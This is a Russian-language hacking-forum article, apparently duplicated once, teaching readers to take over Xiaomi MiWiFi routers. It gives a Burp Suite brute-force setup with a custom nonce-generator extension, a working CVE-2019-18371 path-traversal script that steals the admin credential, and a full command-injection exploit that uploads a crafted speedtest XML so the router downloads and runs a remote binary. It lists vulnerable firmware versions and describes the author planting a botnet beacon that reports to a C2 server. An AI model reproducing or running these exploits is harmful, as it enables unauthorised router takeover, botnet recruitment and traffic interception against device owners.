Автор zecu
Для форума LIMB.cc
Всем привет, домашние и корпоративные роутеры давно являются частью каждой локальной сети, в домах и офисах, без маршрутизаторов никакая сеть невозможна. Кроме основной функции маршрутизации, они часто выполняют функции межсетевого экрана, NAT, VPN шлюза, dhcp сервера. Поэтому роутеры могут быть привлекательной целью для хакеров (тоесть для нас): эксплуатация их уязвимостей позволяет получить контроль над трафиком, всеми dns апросами, надежно и надолго закрепиться в локальной сети или инфраструктуре
Прошивки маршрутизаторов часто пишутся с минимальным приоритетом к безопасности: разработчики используют старые версии библиотек, редко выпускают обновления, а юзеры почти никогда их устанавливают. В итоге даже массовые популярные модели содержат уязвимости, которые годами остаются непатченными
Заовнив роутер, хакер потенциально получает доступ ко всему трафику, может изменить DNS серверы для фишинга, запустить ботнет или получить прокси узел для атаки на другие устройства в сети и эксфильтрации данных
Один успешный эксплоит под популярную модель может означать компрометацию миллионов устройств по всему миру.
Прошивки роутеров обычно основанны на линукс ядре, скомпилированные под архитектуру mips или arm, и обычно это часто старый, проприетарный код, написанный с прицелом на функциональность, а не безопасность, особенно в бюджетных и китайских роутерах
Предположим вы видите чей то роутер из интернета (имеет белый айпи) или находитесь с ним в одной локалке, возможны следующие точки входа:
Через ssh - если на роутере запущен на 22 порту Dropbear, можно попробовать попрбуть его на слабые и дефолтные креды
Через telnet - если на 21 порту есть телнет (например там крутиться демон BusyBox telnetd) он вообще может быть открыт и без пароля, но можно также побрутить креды
RCE уязвимости через веб интерфейс - самое интересное, ssh и telnet редко стоят по дефолту на домашних роутерах, а вот веб интерфейсы например на nginx на 80 или 443 порту есть абсолютно у всех. Всеми любимые, позволяют выполнить свой код например через ash оболочку (которая в составе busybox) роутера, загрузить на роутер свой маяк или билд iot ботнета написанный на C и скомпилированный под mips или arm архитектуру. Про некоторые такие rce и уязвимости miwifi прошивки и будет эта статья
Почти все маршрутизаторы Xiaomi работают на их прошивке miwifi, основанной на openwrt (это можно понять по api luci в запросе который использует openwrt)
Файловая система сяоми роутеров MiniFS - и эта ФС кстати сама по себе достаточно дырявая, ее зареверсили, в результате чего были выявлены приватные ключи и отсутствие нормальной криптографической защиты, что иногда позволяет получить LPE, но об этом потом
В прошивке некоторых Xiaomi роутеров существует API для загрузки конфигов,эндпоин вида http://192.168.31.1/cgi-bin/luci/;stok=7fd4d2612343241223473e2c35/api/misystem/c_upload
Если на него отправить POST запрос с архивом .tar.gz роутер сохраняет его и распаковывает его командой наподобие tar zxf в рабочий каталог, без строгой проверки содержимого. Так в /tmp оказывается наш speedtest_urls.xml
Что это за xml файл? Это список ссылок через которые роутер проверяет соединение с wan (интернетом). Только вот беда в том что он делает это bash командой, просто подставляя эти строки в команду вида wget "$url" -O /tmp/speedtest_temp_file
Собственно мы можем подсунуть роутеру в этот файл не просто url сайта, а закрыть строку знаком ; (точка с запятой) и после дописать нашу bash команду, например для загрузки нашего бикона написанного на C и скомпилированного под MIPS.
Достоверно уязвимые версии роутеров и их прошивок:
Mi Router 4A Gigabit: 2.28.62, 2.28.65, 2.28.132, 3.0.10, 3.0.24, 3.0.27, 3.2.30, 3.10.18
Mi Router 4A 100M: 2.18.51, 2.18.58, 3.0.12
Mi Router 4C: 2.14.81, 2.14.87, 2.14.92
Mi Router 3Gv2: 2.28.8
Mi Router 4Q (R4C): 2.28.48
MiWifi 3C: 2.8.51_INT, 2.9.217, 2.14.45
Mi Router 4: 2.18.62, 2.26.175
Xiaomi Mi R3P: работает с Dev-прошивкой
Могут быть и другие, я перечислил только те которые точно уязвимы
Для эксплуатации сначала нам понадобиться пароль для входа веб интерфейс роутера, вернее stok токен который клиент получает после аутентификации. Я покажу два способа, сначала через брут, а потом через другую уязвимость path traversal
Брут админки
-по умолчанию стоят дефолтные пароли типа admin
-всего одно поле (пароль, без логина)
-нет таймаутов на попытки входа, единственно ограничение - не задудосить админку роутера, например в burp suite можно включить в resource pool функцию automatic throttling
Для генерации анти relay токена вам может понадобиться turbo intruder - так как он в отличии от дефолтного intruder поддерживает python скрипты и динамическую генерацию
Но это не обязательно и можно и без него, ниже я приложу сурсы кастомного аддона который это делает...
Собственно сам брут происходит в два запроса:
1)сначала получаем данные через GET запрос - для генерации nonce (индикатор уникальности запроса, защита от relay атак)
2)отправляем post запрос на логин, подставив туда хеш пароля и nonce
сам POST запрос на логин в админку выглядит так:
Здесь nonce -это просто уникальная строка, собранная из фиксированного префикса, MAC-адреса роутера, текущего времени и случайного числа.
Чтобы узнать мак адрес роутера достаточно один раз спарсить ответ на get запрос к /cgi-bin/luci/web
В ответе прошивка отдаёт вои переменные, среди которых deviceId = '<MAC>'
Поле password=d6534819a32a2cd80c300ebffa9652fb14a83d2d - это sha-1 хеш пароля
для превращения строк из словаря в хеш - в burp suite идем в payload processing:
1)В intruder нужно выбрать режим "cluster bomb attack". Ставим опострофы вокруг значений password и nonce. В payload position сначала выбираем поле password
2)В payload processing нажимаем add
3) выбирает тип "Hash"
4) в типе хеша выбираем SHA-1
5) нажимаем ok
Добавляем в расширения кастомноый аддон (нужно установить jython.
Сохраняем код ниже как .py файл и добавляем
и выбираем его в payload type (для второй позиции пейлоада - нашего nonce)
В resource pool нужно обязательно выставить automatic throttling
Запускаем брут и смотрим на длину ответов. В зависимости от сложности пароля может занять некоторое время. По умолчанию стоит пароль admin и с rockyou брутиться моментально. Сортируем по длине - ответ на валидный логин будет длиннее остальных
Ответ будет содержать значение stok, копируем его оно нам пригодиться для эксплуатации
Второй способ: обход аутентификации через directory-traversal в nginx админке (CVE-2019-18371)
код эксплоита для получения stok.
Алгоритм работы эксплоита:
1)Выполняет GET http://192.168.31.1/cgi-bin/luci/web.
2)Из тела ответа извлекает значение deviceId через регулярное выражение deviceId = '(.*?)'. Возвращает это значение (в коде названо mac).
3)Выполняет GET на URL http://192.168.31.1/api-third-party/download/extdisks../etc/config/account. Этот путь использует ../ (directory traversal) — цель запроса — прочитать файл /etc/config/account на устройстве.
4)Печатает тело ответа (print(r1.text)) и затем извлекает строку, соответствующую аккаунту администратора по регэкспу admin\'? \'(.*)\'. Возвращает найденную строку (account_str).
5)Создаёт строку-nonce в формате "{type}_{deviceId}_{time}_{rand}", где type_ = 0, deviceId = mac, time_ = int(time.time()), rand — псевдослучайное число. Возвращает эту строку.
6)Вычисляет SHA-1 хеш от конкатенации nonce + account_str, возвращает шестнадцатеричный хеш (hexdigest()).
7)Формирует тело POST-запроса: username=admin&password={password}&logtype=2&nonce={nonce}.
8)Делает POST на http://192.168.31.1/cgi-bin/luci/api/xqsystem/login с заголовками (эмулирует браузер).
9)Разбирает ответ и извлекает токен сессии token (в переменную stok) и печатает stok=.
Этот способ я написал вторым чтобы вы сначала посмотрели на то как выглядят запросы в burp и генерация токена при нормальной аутентификации.
Эксплуатация
Теперь когда у нас есть stok токен переходим к самой уязвимости и command injection
Наш эксплоит
Так же качаем xml шаблон в файл с именем speedtest_urls_template.xml и закидываем с эксплоитом рядом, в одну директорию
Обратите внимание на на строку command = "wget http://site.com/program -O /tmp/program && chmod +x /tmp/program && /tmp/program"
Это собственна сама команда которая выполниться в ash оболочке роутера, Команда скачивает через wget бинарь с site.com/program в директорию tmp, дает ему права на запуск и запускает
Тоесть вам нужно скомпилировать elf бинарь (написанный на C) под linux mips32 архитектуру, и захостить на вашем домене или голой vps, и изменить хост в коде команды на свой. Пейлоадом может быть что угодно, билд ботнета или beacon Cobalt Strike страйка, все зависит от ваших целей
Я захостил билд моего простенького ботнета на C с функцией реверс прокси, который при запуске создает на роутере процесс и стучит на мой C2 сервер, и передает информацию об системе и процессоре (читает и отправляет
Запускаем эксплоит
Далее эксплоит попросит stok токен - вставляем его, клацаем enter
И, если модель роутера уязвима - скрипт выведет "exploit succesful"
А в панельке появился новый бот
Если статья зайдет кому то могу еще по TP link роутерам контент сделать, Asus, микротикам или китайским Tenda, там вообще все очень интересно. Спасибо за внимание так сказать, всем удачи и успехов
Для форума LIMB.cc
Всем привет, домашние и корпоративные роутеры давно являются частью каждой локальной сети, в домах и офисах, без маршрутизаторов никакая сеть невозможна. Кроме основной функции маршрутизации, они часто выполняют функции межсетевого экрана, NAT, VPN шлюза, dhcp сервера. Поэтому роутеры могут быть привлекательной целью для хакеров (тоесть для нас): эксплуатация их уязвимостей позволяет получить контроль над трафиком, всеми dns апросами, надежно и надолго закрепиться в локальной сети или инфраструктуре
Прошивки маршрутизаторов часто пишутся с минимальным приоритетом к безопасности: разработчики используют старые версии библиотек, редко выпускают обновления, а юзеры почти никогда их устанавливают. В итоге даже массовые популярные модели содержат уязвимости, которые годами остаются непатченными
Заовнив роутер, хакер потенциально получает доступ ко всему трафику, может изменить DNS серверы для фишинга, запустить ботнет или получить прокси узел для атаки на другие устройства в сети и эксфильтрации данных
Один успешный эксплоит под популярную модель может означать компрометацию миллионов устройств по всему миру.
Прошивки роутеров обычно основанны на линукс ядре, скомпилированные под архитектуру mips или arm, и обычно это часто старый, проприетарный код, написанный с прицелом на функциональность, а не безопасность, особенно в бюджетных и китайских роутерах
Предположим вы видите чей то роутер из интернета (имеет белый айпи) или находитесь с ним в одной локалке, возможны следующие точки входа:
Через ssh - если на роутере запущен на 22 порту Dropbear, можно попробовать попрбуть его на слабые и дефолтные креды
Через telnet - если на 21 порту есть телнет (например там крутиться демон BusyBox telnetd) он вообще может быть открыт и без пароля, но можно также побрутить креды
RCE уязвимости через веб интерфейс - самое интересное, ssh и telnet редко стоят по дефолту на домашних роутерах, а вот веб интерфейсы например на nginx на 80 или 443 порту есть абсолютно у всех. Всеми любимые, позволяют выполнить свой код например через ash оболочку (которая в составе busybox) роутера, загрузить на роутер свой маяк или билд iot ботнета написанный на C и скомпилированный под mips или arm архитектуру. Про некоторые такие rce и уязвимости miwifi прошивки и будет эта статья
Почти все маршрутизаторы Xiaomi работают на их прошивке miwifi, основанной на openwrt (это можно понять по api luci в запросе который использует openwrt)
Не удалось прогрузить медиа
Файловая система сяоми роутеров MiniFS - и эта ФС кстати сама по себе достаточно дырявая, ее зареверсили, в результате чего были выявлены приватные ключи и отсутствие нормальной криптографической защиты, что иногда позволяет получить LPE, но об этом потом
В прошивке некоторых Xiaomi роутеров существует API для загрузки конфигов,эндпоин вида http://192.168.31.1/cgi-bin/luci/;stok=7fd4d2612343241223473e2c35/api/misystem/c_upload
Если на него отправить POST запрос с архивом .tar.gz роутер сохраняет его и распаковывает его командой наподобие tar zxf в рабочий каталог, без строгой проверки содержимого. Так в /tmp оказывается наш speedtest_urls.xml
Что это за xml файл? Это список ссылок через которые роутер проверяет соединение с wan (интернетом). Только вот беда в том что он делает это bash командой, просто подставляя эти строки в команду вида wget "$url" -O /tmp/speedtest_temp_file
Собственно мы можем подсунуть роутеру в этот файл не просто url сайта, а закрыть строку знаком ; (точка с запятой) и после дописать нашу bash команду, например для загрузки нашего бикона написанного на C и скомпилированного под MIPS.
Достоверно уязвимые версии роутеров и их прошивок:
Mi Router 4A Gigabit: 2.28.62, 2.28.65, 2.28.132, 3.0.10, 3.0.24, 3.0.27, 3.2.30, 3.10.18
Mi Router 4A 100M: 2.18.51, 2.18.58, 3.0.12
Mi Router 4C: 2.14.81, 2.14.87, 2.14.92
Mi Router 3Gv2: 2.28.8
Mi Router 4Q (R4C): 2.28.48
MiWifi 3C: 2.8.51_INT, 2.9.217, 2.14.45
Mi Router 4: 2.18.62, 2.26.175
Xiaomi Mi R3P: работает с Dev-прошивкой
Могут быть и другие, я перечислил только те которые точно уязвимы
Для эксплуатации сначала нам понадобиться пароль для входа веб интерфейс роутера, вернее stok токен который клиент получает после аутентификации. Я покажу два способа, сначала через брут, а потом через другую уязвимость path traversal
Брут админки
-по умолчанию стоят дефолтные пароли типа admin
-всего одно поле (пароль, без логина)
-нет таймаутов на попытки входа, единственно ограничение - не задудосить админку роутера, например в burp suite можно включить в resource pool функцию automatic throttling
Для генерации анти relay токена вам может понадобиться turbo intruder - так как он в отличии от дефолтного intruder поддерживает python скрипты и динамическую генерацию
Не удалось прогрузить медиа
Но это не обязательно и можно и без него, ниже я приложу сурсы кастомного аддона который это делает...
Собственно сам брут происходит в два запроса:
1)сначала получаем данные через GET запрос - для генерации nonce (индикатор уникальности запроса, защита от relay атак)
2)отправляем post запрос на логин, подставив туда хеш пароля и nonce
сам POST запрос на логин в админку выглядит так:
Не удалось прогрузить медиа
Здесь nonce -это просто уникальная строка, собранная из фиксированного префикса, MAC-адреса роутера, текущего времени и случайного числа.
Чтобы узнать мак адрес роутера достаточно один раз спарсить ответ на get запрос к /cgi-bin/luci/web
Не удалось прогрузить медиа
В ответе прошивка отдаёт вои переменные, среди которых deviceId = '<MAC>'
Поле password=d6534819a32a2cd80c300ebffa9652fb14a83d2d - это sha-1 хеш пароля
для превращения строк из словаря в хеш - в burp suite идем в payload processing:
1)В intruder нужно выбрать режим "cluster bomb attack". Ставим опострофы вокруг значений password и nonce. В payload position сначала выбираем поле password
2)В payload processing нажимаем add
3) выбирает тип "Hash"
4) в типе хеша выбираем SHA-1
5) нажимаем ok
Не удалось прогрузить медиа
Добавляем в расширения кастомноый аддон (нужно установить jython.
Сохраняем код ниже как .py файл и добавляем
Python:
# -*- coding: utf-8 -*-
from burp import IBurpExtender, IIntruderPayloadGeneratorFactory, IIntruderPayloadGenerator
import random, string, time
class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Nonce Generator")
callbacks.registerIntruderPayloadGeneratorFactory(self)
return
def getGeneratorName(self):
return "Random Nonce Generator"
def createNewInstance(self, attack):
return NonceGenerator()
class NonceGenerator(IIntruderPayloadGenerator):
def __init__(self):
self.max_payloads = 1000
self.num_generated = 0
def hasMorePayloads(self):
return self.num_generated < self.max_payloads
def getNextPayload(self, baseValue):
self.num_generated += 1
# Nonce = timestamp + случайная строка
timestamp = str(int(time.time()))
rand_str = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(16))
nonce = timestamp + "_" + rand_str
return nonce
def reset(self):
self.num_generated = 0
Не удалось прогрузить медиа
и выбираем его в payload type (для второй позиции пейлоада - нашего nonce)
Не удалось прогрузить медиа
В resource pool нужно обязательно выставить automatic throttling
Не удалось прогрузить медиа
Запускаем брут и смотрим на длину ответов. В зависимости от сложности пароля может занять некоторое время. По умолчанию стоит пароль admin и с rockyou брутиться моментально. Сортируем по длине - ответ на валидный логин будет длиннее остальных
Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен:
forum.LIMB.ccРазрешённые домены
imgur.comru.imgbb.comprnt.scimgbb.comibb.coi.imgur.comi.ibb.codarklimb.vipi.pinimg.comimg3.teletype.inimg4.teletype.inteletype.inpikabu.rucs15.pikabu.ruimg2.teletype.inlh7-rt.googleusercontent.comduty-files.ccblogger.googleusercontent.com
Ответ будет содержать значение stok, копируем его оно нам пригодиться для эксплуатации
Не удалось прогрузить медиа
Второй способ: обход аутентификации через directory-traversal в nginx админке (CVE-2019-18371)
код эксплоита для получения stok.
Python:
import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES
proxies = {}
def get_mac():
## get mac
r0 = requests.get("http://192.168.31.1/cgi-bin/luci/web", proxies=proxies)
mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
# print(mac)
return mac
def get_account_str():
## read /etc/config/account
r1 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../etc/config/account", proxies=proxies)
print(r1.text)
account_str = re.findall(r'admin\'? \'(.*)\'', r1.text)[0]
return account_str
def create_nonce(mac):
type_ = 0
deviceId = mac
time_ = int(time.time())
rand = random.randint(0,10000)
return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)
def calc_password(nonce, account_str):
m = hashlib.sha1()
m.update((nonce + account_str).encode('utf-8'))
return m.hexdigest()
mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post("http://192.168.31.1/cgi-bin/luci/api/xqsystem/login",
data = data,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
proxies=proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("stok="+stok)
python exploit.py чтобы запустить, никаких аргументов он не просит, адрес xiaomi роутеров в локалке обычно 192.168.31.1Алгоритм работы эксплоита:
1)Выполняет GET http://192.168.31.1/cgi-bin/luci/web.
2)Из тела ответа извлекает значение deviceId через регулярное выражение deviceId = '(.*?)'. Возвращает это значение (в коде названо mac).
3)Выполняет GET на URL http://192.168.31.1/api-third-party/download/extdisks../etc/config/account. Этот путь использует ../ (directory traversal) — цель запроса — прочитать файл /etc/config/account на устройстве.
4)Печатает тело ответа (print(r1.text)) и затем извлекает строку, соответствующую аккаунту администратора по регэкспу admin\'? \'(.*)\'. Возвращает найденную строку (account_str).
5)Создаёт строку-nonce в формате "{type}_{deviceId}_{time}_{rand}", где type_ = 0, deviceId = mac, time_ = int(time.time()), rand — псевдослучайное число. Возвращает эту строку.
6)Вычисляет SHA-1 хеш от конкатенации nonce + account_str, возвращает шестнадцатеричный хеш (hexdigest()).
7)Формирует тело POST-запроса: username=admin&password={password}&logtype=2&nonce={nonce}.
8)Делает POST на http://192.168.31.1/cgi-bin/luci/api/xqsystem/login с заголовками (эмулирует браузер).
9)Разбирает ответ и извлекает токен сессии token (в переменную stok) и печатает stok=.
Этот способ я написал вторым чтобы вы сначала посмотрели на то как выглядят запросы в burp и генерация токена при нормальной аутентификации.
Эксплуатация
Теперь когда у нас есть stok токен переходим к самой уязвимости и command injection
Наш эксплоит
Python:
#!/usr/bin/python
import os
import shutil
import tarfile
import requests
import re
import time
import random
import hashlib
import socket
router_ip_address = input("Router IP address [press enter for using the default 'miwifi.com']: ") or "miwifi.com"
def get_stok(router_ip_address):
try:
r0 = requests.get(f"http://{router_ip_address}/cgi-bin/luci/web")
except:
print("Xiaomi router not found...")
return None
try:
mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
except:
print("Xiaomi router not found...")
return None
key = re.findall(r'key: \'(.*)\',', r0.text)[0]
nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000))
router_password = input("Enter router admin password: ")
account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest()
password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest()
data = f"username=admin&password={password}&logtype=2&nonce={nonce}"
r1 = requests.post(f"http://{router_ip_address}/cgi-bin/luci/api/xqsystem/login",
data=data,
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
})
try:
stok = re.findall(r'"token":"(.*?)"', r1.text)[0]
except:
print(f"Failed to get stok in login response '{r1.text}'")
return None
return stok
stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ")
command = "wget http://site.com/program -O /tmp/program && chmod +x /tmp/program && /tmp/program"
if os.path.exists("build"):
shutil.rmtree("build")
os.makedirs("build")
with open("speedtest_urls_template.xml", "rt", encoding="UTF-8") as f:
template = f.read()
data = template.format(router_ip_address=router_ip_address, command=command)
with open("build/speedtest_urls.xml", "wt", encoding="UTF-8", newline="\n") as f:
f.write(data)
with tarfile.open("build/payload.tar.gz", "w:gz") as tar:
tar.add("build/speedtest_urls.xml", "speedtest_urls.xml")
print("Uploading config file...")
r1 = requests.post(
f"http://{router_ip_address}/cgi-bin/luci/;stok={stok}/api/misystem/c_upload",
files={"image": open("build/payload.tar.gz", 'rb')}
)
def send_test_netspeed_request(router_ip_address, stok):
requests.get(f"http://{router_ip_address}/cgi-bin/luci/;stok={stok}/api/xqnetdetect/netspeed")
print("Executing command...")
send_test_netspeed_request(router_ip_address, stok)
def checkHost(ip, port, retry=3, delay=1, timeout=3):
for i in range(retry):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((ip, port))
s.shutdown(socket.SHUT_RDWR)
return True
except:
time.sleep(delay)
finally:
s.close()
return False
if checkHost(router_ip_address, 22):
print("Exploit successful!")
else:
print("Exploit may not have worked..")
Так же качаем xml шаблон в файл с именем speedtest_urls_template.xml и закидываем с эксплоитом рядом, в одну директорию
XML:
<?xml version="1.0"?>
<root>
<class type="1">
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
</class>
<class type="2">
<item url="http://{router_ip_address} -q -O /dev/null;{command};exit;wget http://{router_ip_address} "/>
</class>
<class type="3">
<item uploadurl="http://www.taobao.com/"/>
<item uploadurl="http://www.so.com/"/>
<item uploadurl="http://www.qq.com/"/>
<item uploadurl="http://www.sohu.com/"/>
<item uploadurl="http://www.tudou.com/"/>
<item uploadurl="http://www.360doc.com/"/>
<item uploadurl="http://www.kankan.com/"/>
<item uploadurl="http://www.speedtest.cn/"/>
</class>
</root>
Обратите внимание на на строку command = "wget http://site.com/program -O /tmp/program && chmod +x /tmp/program && /tmp/program"
Это собственна сама команда которая выполниться в ash оболочке роутера, Команда скачивает через wget бинарь с site.com/program в директорию tmp, дает ему права на запуск и запускает
Тоесть вам нужно скомпилировать elf бинарь (написанный на C) под linux mips32 архитектуру, и захостить на вашем домене или голой vps, и изменить хост в коде команды на свой. Пейлоадом может быть что угодно, билд ботнета или beacon Cobalt Strike страйка, все зависит от ваших целей
Я захостил билд моего простенького ботнета на C с функцией реверс прокси, который при запуске создает на роутере процесс и стучит на мой C2 сервер, и передает информацию об системе и процессоре (читает и отправляет
cat /proc/cpuinfo и cat /proc/meminfo)Запускаем эксплоит
python exploit.py , он попросит нас ввеси ip роутера для атаки, если мы в одной локальной сети можем просто нажать enter - miwifi.com маршрутизируется роутером через dhcp как 192.168.31.1Не удалось прогрузить медиа
Далее эксплоит попросит stok токен - вставляем его, клацаем enter
Не удалось прогрузить медиа
И, если модель роутера уязвима - скрипт выведет "exploit succesful"
Не удалось прогрузить медиа
А в панельке появился новый бот
Не удалось прогрузить медиа
Если статья зайдет кому то могу еще по TP link роутерам контент сделать, Asus, микротикам или китайским Tenda, там вообще все очень интересно. Спасибо за внимание так сказать, всем удачи и успехов
👍35
🔥6
😁6
👏6
LIMB